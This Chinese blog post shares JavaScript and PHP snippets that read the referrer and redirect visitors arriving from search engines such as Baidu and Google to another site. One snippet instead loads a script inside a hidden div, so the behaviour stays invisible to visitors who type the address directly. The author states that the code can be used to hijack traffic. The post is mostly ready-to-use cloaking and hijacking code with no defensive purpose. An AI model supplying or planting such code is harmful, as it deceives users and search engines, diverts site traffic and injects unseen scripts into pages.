分享几路JS/php代码根据搜索引擎来路来判断 跳转到指定页面
作者: zms!
日期: 2014.10.03 本文发布于2004天前
分类: JS琐碎
相关:
偶尔会用到这些代码,直接输入域名,打开网页,没有任何异常。但是通过百度谷歌搜狗等搜索引擎点进来的用户,会执行跳转。可以用来做淘宝客,也可以用来劫持流量。
1、JS代码判断搜索引擎来路进行跳转
————————————————-<script language=”javascript”> var regexp=/\.(baidu|soso|sogou|google|youdao|yahoo)(\.[a-z0-9\-]+){1,2}\//ig; var where =document.referrer; if(regexp.test(where)) { window.location.href=”http://www.jz96.com/” } </script>2、用php判断搜索引擎的代码
<?PHP $referer = $_SERVER['HTTP_REFERER']; if(!$referer == ''){ if(ereg('http',$referer)){ $referer = @eXPlode('.',$referer); if(is_array($referer)){ $referer = $referer['1']; if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){ ?> <div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script> </div><?php } } } } ?>
3、另外一种通过Js判断搜索引擎来路的代码则如下
<script type="text/javascript"> function elem(e,url){ var h=document.createElement(e); h.src=url; document.getElementsByTagName('head')[0].appendChild(h); } function refer(){ var ref=document.referrer; var baidu=ref.indexOf("baidu"); var soso=ref.indexOf("soso"); var google=ref.indexOf("google"); if(baidu!=-1||soso!=-1||google!=-1){ elem("script","http://127.0.0.1/js.js"); } } refer() </script>
另外附上自己百度谷歌的一份代码
<script language="javascript"> var s=document.referrer if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 ) window.opener.navigate("http://www.jz96.com") </script>
留着备用,以后准备份代码,用来做判断搜索引擎做跳转。
PHP代码做301重定向<?php Header("HTTP/1.1 301 Moved Permanently"); Header("Location: http://www.jz96.com"); ?>
最后来一个自己测试可用的代码
<script type="text/javascript"> var s=document.referrer; if(s.indexOf("%E5%BB%BA%E7%AB%99%E4%BA%A4%E6%B5%81")>0||s.indexOf("400%E6%98%AF%E5%85%8D%E8%B4%B9%E7%94%B5%E8%AF%9D%E5%90%97")>0||s.indexOf("400%E7%94%B5%E8%AF%9D%E5%A6%82%E4%BD%95%E5%8A%9E%E7%90%86")>0)self.location="http://www.jz96.com/jiaocheng"; </script>
其中s.indexOf(“%E5%BB%BA%E7%AB%99%E4%BA%A4%E6%B5%81″)>0 为关键词 建站交流=%E5%BB%BA%E7%AB%99%E4%BA%A4%E6%B5%81
讨论区
你可能也喜欢
打开网页,图片延迟加载 2018.05.06,2 pv
JS屏蔽右键简单代码,放在body内即可 2018.04.18,2 pv
微信内置浏览器图片查看方式的原生实现(非jssdk) 2018.04.02,2 pv
ZMS系统自带的JS广告代码 2017.05.23,0 pv
简单倒计时JS 2015.08.27,9 pv
使用JS为网站加速,让网站实现"预加载",加速响应! 2015.02.27,7 pv